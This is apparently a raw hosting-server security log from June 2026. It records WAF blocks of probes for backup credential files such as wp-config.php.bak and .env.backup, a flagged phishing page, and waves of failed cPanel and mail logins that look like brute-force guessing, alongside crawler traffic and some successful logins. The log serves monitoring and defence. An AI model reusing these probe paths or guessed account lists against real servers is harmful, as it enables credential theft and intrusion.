47.128.96.206 - - [10/Jun/2026:13:25:20 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6907796&pdata=https%253A%252F%252Ftdn.tg%252Ftogo-affaire-de-pretre-catholique-reconverti-au-culte-vodou-voici-ce-qui-sest-reellement-passe%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781097919 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/togo-affaire-de-pretre-catholique-reconverti-au-culte-vodou-voici-ce-qui-sest-reellement-passe/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.206


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 64.44.59.19
country_id: 6252001
domain: scafricaplc.com
description:
IM360 WAF: Possible phishing page detected||SC:/home/zauwogvk/public_html/.041862895692810.php||RSV:8.15||T:APACHE||


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.133.115
country_id: 2635167
description:
[2026-06-10 13:25:33 +0000] info [cpaneld] 5.230.133.115 NEW marketplacenetma:pJNOd9pB3_2EY_86 address=5.230.133.115,app=cpaneld,creator=marketplacenetma,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.151.215.198
country_id: 3469034
domain: hrmbj.mesyscom.com
description:
IM360 WAF: Bad file extension||RSV:8.15||T:APACHE||MVN:REQUEST_FILENAME||MV:/wp-config.php.bak||User:jmtctoni||


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 107.174.169.209
country_id: 6252001
description:
[2026-06-10 13:25:26 +0000] info [cpaneld] 107.174.169.209 NEW zauwogvk:mrat9uv_gCz5HnXb address=107.174.169.209,app=cpaneld,creator=zauwogvk,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.175.229.192
country_id: 2921044
description:
[2026-06-10 13:25:33 +0000] info [cpaneld] 5.175.229.192 NEW marketplacenetma:0p2liVzSyqgjniOH address=5.175.229.192,app=cpaneld,creator=marketplacenetma,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.176.31.135
country_id: 3895114
domain: mail.cinema.free.netmaster.tg
description:
IM360 WAF: Bad file extension||RSV:8.15||T:APACHE||MVN:REQUEST_FILENAME||MV:/backend/.env.backup||User:cinemafreenetmas||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 175.199.67.164
country_id: 1835841
description:
Jun 10 13:27:24 ns5 auth[788831]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 175.199.67.164 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.120
country_id: 1880251
description:
47.128.96.120 - - [10/Jun/2026:13:27:07 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6854549&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fpratique-du-concert-party%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781098026 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/pratique-du-concert-party/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.120


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.121
country_id: 1880251
description:
47.128.96.121 - - [10/Jun/2026:13:28:07 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7377815&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fgroupe-heidelbergcement%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781098085 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/groupe-heidelbergcement/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.121


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 93.171.72.41
country_id: 2017370
description:
[2026-06-10 13:27:57 +0000] info [cpaneld] 93.171.72.41 - ese2i "GET /login/?login_only=1&user=ese2i&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ese2i (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 105.105.7.238
country_id: 2589581
description:
[2026-06-10 13:27:59 +0000] info [cpaneld] 105.105.7.238 - ese2itg "GET /login/?login_only=1&user=ese2itg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ese2itg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 102.54.238.57
country_id: 2542007
description:
[2026-06-10 13:28:20 +0000] info [cpaneld] 102.54.238.57 - rolle "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user rolle (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 213.171.0.175
country_id: 2017370
description:
[2026-06-10 13:29:02 +0000] info [cpaneld] 213.171.0.175 - it "GET /login/?login_only=1&user=it&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user it (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.190
country_id: 1880251
description:
47.128.96.190 - - [10/Jun/2026:13:29:21 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6462314&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Ffc-barca%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781098160 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/fc-barca/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.190


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 177.225.131.19
country_id: 3996063
description:
[2026-06-10 13:28:51 +0000] info [cpaneld] 177.225.131.19 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 46.151.182.45
country_id: 2750405
description:
2026-06-10 13:30:23 H=([46.151.182.45]) [46.151.182.45]:57937 F=<mail@mailling.co.uk> rejected RCPT <info@arse.tg>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 37.221.131.83
country_id: 690791
description:
Jun 10 13:29:51 ns5 auth[788831]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 37.221.131.83 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.154
country_id: 1880251
description:
47.128.96.154 - - [10/Jun/2026:13:31:07 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10184901&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Feleves-de-classe-de-passage%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781098266 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/eleves-de-classe-de-passage/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.154


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.185
country_id: 1880251
description:
47.128.96.185 - - [10/Jun/2026:13:33:27 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6711147&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fattaque-terroriste-de-kafolo%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781098406 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/attaque-terroriste-de-kafolo/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.185


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 38.72.131.163
country_id: 6252001
description:
[2026-06-10 13:34:09 +0000] info [cpaneld] 38.72.131.163 - matwtogo "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user matwtogo (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.121.68
country_id: 1880251
description:
47.128.121.68 - - [10/Jun/2026:13:34:25 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13211797&pdata=https%253A%252F%252Ftogodailynews.tg%252Fus-africa-business-forum-le-president-americain-annonce-leligibilite-du-togo-au-programme-compact-du-mcc%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781098463 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/us-africa-business-forum-le-president-americain-annonce-leligibilite-du-togo-au-programme-compact-du-mcc/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.121.68


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 179.60.75.200
country_id: 3895114
description:
[2026-06-10 13:35:22 +0000] info [cpaneld] 179.60.75.200 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.176
country_id: 1880251
description:
47.128.96.176 - - [10/Jun/2026:13:34:40 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6909848&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fcommune-de-bas-mono-1-recrute%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781098479 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/commune-de-bas-mono-1-recrute/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.176


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 105.69.135.197
country_id: 2542007
description:
[2026-06-10 13:35:33 +0000] info [cpaneld] 105.69.135.197 - mesysco "GET /login/?login_only=1&user=mesysco&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mesysco (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 167.250.45.34
country_id: 3469034
description:
[2026-06-10 13:35:36 +0000] info [cpaneld] 167.250.45.34 - mesysc "GET /login/?login_only=1&user=mesysc&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mesysc (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 38.35.249.7
country_id: 3996063
description:
[2026-06-10 13:35:39 +0000] info [cpaneld] 38.35.249.7 - mesys "GET /login/?login_only=1&user=mesys&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mesys (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.197
country_id: 1880251
description:
47.128.96.197 - - [10/Jun/2026:13:35:55 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13343942&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fadkontact-togo-recrute%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781098554 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/adkontact-togo-recrute/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.197


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.122.116
country_id: 1880251
description:
47.128.122.116 - - [10/Jun/2026:13:36:28 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9791899&pdata=https%253A%252F%252Ftogodailynews.tg%252Fmise-en-oeuvre-des-reformes-au-titre-de-lannee-2023-le-togo-consolide-sa-performance-avec-un-taux-de-76%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781098586 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/mise-en-oeuvre-des-reformes-au-titre-de-lannee-2023-le-togo-consolide-sa-performance-avec-un-taux-de-76/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.122.116


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 184.22.221.228
country_id: 1605651
description:
2026-06-10 13:36:33 dovecot_plain authenticator failed for H=([198.23.185.222]) [184.22.221.228]:47664: 535 Incorrect authentication data (set_id=info@ucao-uut.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.50.23.247
country_id: 2464461
description:
2026-06-10 13:37:19 dovecot_plain authenticator failed for H=([198.23.185.222]) [165.50.23.247]:60902: 535 Incorrect authentication data (set_id=marketing@ucao-uut.tg)


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 102.64.154.65
country_id: 2363686
description:
[2026-06-10 13:36:35 +0000] info [cpaneld] 102.64.154.65 NEW ygpdcalt:Fckkxahvcdq2TEbf address=102.64.154.65,app=cpaneld,creator=root,method=handle_form_login,path=loadsession:ygpdcalt:YzrMefnwaAjDmSj3:create_user_session,possessed=0


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 5.206.34.195
country_id: 2017370
description:
2026-06-10 13:36:46 dovecot_plain authenticator failed for H=([198.23.185.222]) [5.206.34.195]:45344: 535 Incorrect authentication data (set_id=admin@ucao-uut.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 181.167.60.185
country_id: 3865483
description:
2026-06-10 13:37:04 dovecot_plain authenticator failed for H=([198.23.185.222]) [181.167.60.185]:37872: 535 Incorrect authentication data (set_id=support@ucao-uut.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.123
country_id: 1880251
description:
47.128.96.123 - - [10/Jun/2026:13:37:26 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9923735&pdata=https%253A%252F%252Fcfpj.tg%252Fcategory%252Fnon-classe%252F%253F__im-mLcLAlHa%253D3875901866547102545%25252Fpage%25252F12%25252F%25252Fpage%25252F3%25252F%25252Fpage%25252F2%25252F%25252Fpage%25252F3%25252F%25252Fpage%25252F2%25252F%25252Fpage%25252F2%25252F%25252Fpage%25252F3%25252F%25252Fpage%25252F2%25252F%25252Fpage%25252F3%25252F%25252Fpage%25252F2%25252F%25252Fpage%25252F3%25252F%25252Fpage%25252F2%25252F%25252Fpage%25252F3%25252F%25252Fpage%25252F12%25252F%25252Fpage%25252F12%25252F%25252Fpage%25252F3%25252F%25252Fpage%25252F3%25252F%25252Fpage%25252F3%25252F%25252Fpage%25252F12%25252F%25252Fpage%25252F12%25252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781098645 HTTP/2.0" 302 0 cfpj.tg "https://cfpj.tg/category/non-classe/?__im-mLcLAlHa=3875901866547102545%2Fpage%2F12%2F%2Fpage%2F3%2F%2Fpage%2F2%2F%2Fpage%2F3%2F%2Fpage%2F2%2F%2Fpage%2F2%2F%2Fpage%2F3%2F%2Fpage%2F2%2F%2Fpage%2F3%2F%2Fpage%2F2%2F%2Fpage%2F3%2F%2Fpage%2F2%2F%2Fpage%2F3%2F%2Fpage%2F12%2F%2Fpage%2F12%2F%2Fpage%2F3%2F%2Fpage%2F3%2F%2Fpage%2F3%2F%2Fpage%2F12%2F%2Fpage%2F12%2F" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.123


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 184.22.221.228
country_id: 1605651
description:
2026-06-10 13:36:37 dovecot_login authenticator failed for H=([198.23.185.222]) [184.22.221.228]:47664: 535 Incorrect authentication data (set_id=info@ucao-uut.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.13
country_id: 1880251
description:
47.128.96.13 - - [10/Jun/2026:13:37:01 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13132738&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Frussie%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781098620 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/russie/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.13


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 98.192.36.49
country_id: 6252001
description:
2026-06-10 13:37:34 dovecot_plain authenticator failed for H=([198.23.185.222]) [98.192.36.49]:50754: 535 Incorrect authentication data (set_id=contact@ucao-uut.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 152.233.4.145
country_id: 719819
description:
[2026-06-10 13:37:25 +0000] info [cpaneld] 152.233.4.145 - bilirando "POST /login/ HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.183.93.195
country_id: 3469034
description:
Jun 10 13:38:24 ns5 auth[788831]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.183.93.195 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 91.163.182.156
country_id: 3017382
description:
[2026-06-10 13:38:32 +0000] info [cpaneld] 91.163.182.156 - mesysco "GET /login/?login_only=1&user=mesysco&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mesysco (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.136
country_id: 1880251
description:
47.128.96.136 - - [10/Jun/2026:13:38:08 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7194778&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fadkontact-togo-recrute%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781098687 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/adkontact-togo-recrute/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.136


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 98.192.36.49
country_id: 6252001
description:
2026-06-10 13:37:41 dovecot_login authenticator failed for H=([198.23.185.222]) [98.192.36.49]:50754: 535 Incorrect authentication data (set_id=contact@ucao-uut.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.224.215.215
country_id: 3469034
description:
[2026-06-10 13:38:18 +0000] info [cpaneld] 45.224.215.215 - global "GET /login/?login_only=1&user=global&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user global (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.188
country_id: 1880251
description:
47.128.96.188 - - [10/Jun/2026:13:37:49 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7039427&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fmedecin-dune-clinique-privee-poursuivi-pour-avoir-viole-une-femme-mariee%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781098667 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/medecin-dune-clinique-privee-poursuivi-pour-avoir-viole-une-femme-mariee/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.188


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 92.37.168.24
country_id: 2017370
description:
2026-06-10 13:38:06 dovecot_plain authenticator failed for H=([198.23.185.222]) [92.37.168.24]:60118: 535 Incorrect authentication data (set_id=contacto@ucao-uut.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.189.192.221
country_id: 3175395
description:
2026-06-10 13:38:21 dovecot_plain authenticator failed for H=([198.23.185.222]) [31.189.192.221]:35594: 535 Incorrect authentication data (set_id=financeiro@ucao-uut.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 79.174.58.204
country_id: 2017370
description:
[2026-06-10 13:38:21 +0000] info [cpaneld] 79.174.58.204 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 186.84.88.233
country_id: 3686110
description:
2026-06-10 13:37:50 dovecot_plain authenticator failed for H=([198.23.185.222]) [186.84.88.233]:9482: 535 Incorrect authentication data (set_id=contato@ucao-uut.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 177.22.161.27
country_id: 3469034
description:
[2026-06-10 13:39:13 +0000] info [cpaneld] 177.22.161.27 - tchambai "GET /login/?login_only=1&user=tchambai&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tchambai (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 147.235.219.212
country_id: 294640
description:
2026-06-10 13:39:32 dovecot_plain authenticator failed for H=([198.23.185.222]) [147.235.219.212]:45262: 535 Incorrect authentication data (set_id=hr@ucao-uut.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 92.208.140.138
country_id: 2921044
description:
[2026-06-10 13:39:32 +0000] info [cpaneld] 92.208.140.138 - tch "GET /login/?login_only=1&user=tch&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tch (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.65.101.231
country_id: 3932488
description:
[2026-06-10 13:38:42 +0000] info [cpaneld] 181.65.101.231 - mesys "GET /login/?login_only=1&user=mesys&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mesys (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 187.0.235.32
country_id: 3469034
description:
[2026-06-10 13:38:49 +0000] info [cpaneld] 187.0.235.32 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.7.190.199
country_id: 3469034
description:
2026-06-10 13:39:00 dovecot_plain authenticator failed for H=([198.23.185.222]) [45.7.190.199]:34211: 535 Incorrect authentication data (set_id=accounts@ucao-uut.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 201.249.155.86
country_id: 3625428
description:
[2026-06-10 13:39:11 +0000] info [cpaneld] 201.249.155.86 - tchambain "GET /login/?login_only=1&user=tchambain&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tchambain (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 24.201.122.190
country_id: 6251999
description:
[2026-06-10 13:39:18 +0000] info [cpaneld] 24.201.122.190 - tchamba "GET /login/?login_only=1&user=tchamba&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tchamba (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.183.93.195
country_id: 3469034
description:
Jun 10 13:38:38 ns5 auth[788831]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.183.93.195 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 189.203.105.222
country_id: 3996063
description:
2026-06-10 13:38:43 dovecot_plain authenticator failed for H=fixed-189-203-105-222.totalplay.net ([198.23.185.222]) [189.203.105.222]:6095: 535 Incorrect authentication data (set_id=it@ucao-uut.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 186.116.215.26
country_id: 3686110
description:
[2026-06-10 13:38:53 +0000] info [cpaneld] 186.116.215.26 - tchambainvest "GET /login/?login_only=1&user=tchambainvest&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tchambainvest (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 85.174.207.80
country_id: 2017370
description:
[2026-06-10 13:38:56 +0000] info [cpaneld] 85.174.207.80 - tchambainvesttg "GET /login/?login_only=1&user=tchambainvesttg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tchambainvesttg (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 181.20.213.20
country_id: 3865483
description:
2026-06-10 13:39:17 dovecot_plain authenticator failed for H=([198.23.185.222]) [181.20.213.20]:58960: 535 Incorrect authentication data (set_id=suporte@ucao-uut.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 190.227.151.33
country_id: 3865483
description:
[2026-06-10 13:39:22 +0000] info [cpaneld] 190.227.151.33 - tchamb "GET /login/?login_only=1&user=tchamb&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tchamb (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 171.247.237.234
country_id: 1562822
description:
[2026-06-10 13:39:02 +0000] info [cpaneld] 171.247.237.234 - tchambainve "GET /login/?login_only=1&user=tchambainve&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tchambainve (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.56.193.172
country_id: 99237
description:
2026-06-10 13:40:09 dovecot_plain authenticator failed for H=([198.23.185.222]) [185.56.193.172]:47657: 535 Incorrect authentication data (set_id=ventas@ucao-uut.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.249.64.0
country_id: 953987
description:
2026-06-10 13:40:31 dovecot_plain authenticator failed for H=8ta-249-64-00.telkomadsl.co.za ([198.23.185.222]) [102.249.64.0]:44245: 535 Incorrect authentication data (set_id=clients@ucao-uut.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 147.235.219.212
country_id: 294640
description:
2026-06-10 13:39:39 dovecot_login authenticator failed for H=([198.23.185.222]) [147.235.219.212]:45262: 535 Incorrect authentication data (set_id=hr@ucao-uut.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 152.172.69.42
country_id: 3895114
description:
2026-06-10 13:39:54 dovecot_plain authenticator failed for H=([198.23.185.222]) [152.172.69.42]:53196: 535 Incorrect authentication data (set_id=soporte@ucao-uut.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.249.64.0
country_id: 953987
description:
2026-06-10 13:40:39 dovecot_login authenticator failed for H=8ta-249-64-00.telkomadsl.co.za ([198.23.185.222]) [102.249.64.0]:44245: 535 Incorrect authentication data (set_id=clients@ucao-uut.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.126
